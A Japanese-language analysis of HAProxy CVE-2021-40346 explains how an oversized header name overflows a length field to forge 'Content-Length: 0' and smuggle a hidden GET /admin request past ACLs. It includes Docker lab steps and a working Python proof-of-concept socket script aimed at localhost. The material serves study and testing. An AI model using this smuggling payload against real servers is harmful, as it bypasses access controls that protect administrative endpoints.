
WHS CVE-2021-40346 分析
htx_add_header()関数において、ヘッダー名の長さを検証しないために発生するアクセス制御バイパス(ACL Bypass)の脆弱性です。http-requestベースのパスアクセス制御ルール(例: path_beg /admin)が設定されていること — このルールがバイパスの対象となりますHAProxyはHTTPヘッダーを内部HTXフォーマットで保存する際、ヘッダー名の長さを
8ビット(最大255)フィールドに記録します。htx_add_header()関数にはこの長さを
検証するロジックが欠落しており、256バイト以上の名前を送信すると整数
オーバーフローが発生し、あふれたビットが隣接する値の長さフィールドに流れ込みます。
ヘッダー名をちょうど270バイトにすると(270 mod 256 = 14)、HAProxyは
これを"Content-Length"(14文字)と誤認し、オーバーフローで汚染された1バイトを
値として読み取ります。この場所に"0"を配置すると、偽造された
Content-Length: 0ヘッダーが作成されます。
この偽造ヘッダーの後に本物のContent-Lengthヘッダーを続けて送信すると、HAProxyは
重複ヘッダーのうち先に来たもの(偽造された0)を採用し、本物の値は破棄します。このとき
クライアントから実際のボディを読み込む処理は元のテキストに基づいて
正確に動作しますが、バックエンドに渡されるヘッダーには偽造された値(0)が記録され、
「実際に受信したボディサイズ」と「バックエンドに通知されたサイズ」が不一致になります。
バックエンドは通知された値(0)を信じてそのリクエストが終了したと判断し、元々
ボディだったデータを完全に新しいリクエストとして再解釈します。HAProxyのACLは
これより前に最初のリクエスト行に対してのみチェックされるため、隠された2番目のリクエストは
チェック対象に含まれず、バックエンドに到達します。その結果、設定されたすべての
http-request ACLがバイパスされます。
docker compose up --build -d を実行して脆弱なテスト環境を起動(haproxy ver.2.2.16 / backend: gunicorn)
以下のコードでHAProxyとバックエンドサーバーの起動をテスト
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "準備完了"
python3 poc.py --host 127.0.0.1 --port 8080 PoCコードを実行
docker logs cve-2021-40346-backend --tail 5 バックエンドのアクセスログで/adminリクエストが実際に処理されたか確認
import socket
HOST = "127.0.0.1"
PORT = 8080
# 名前を270バイトにすると8ビットの名前長フィールドがオーバーフローし、
# HAProxyがこれを"Content-Length: 0"ヘッダーと誤認する。
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
上記のように、バックエンドでアクセス制限されたadminへのGETリクエストが処理される
htx_add_header()に名前/値の長さ検証ロジックが追加され、根本的に解決)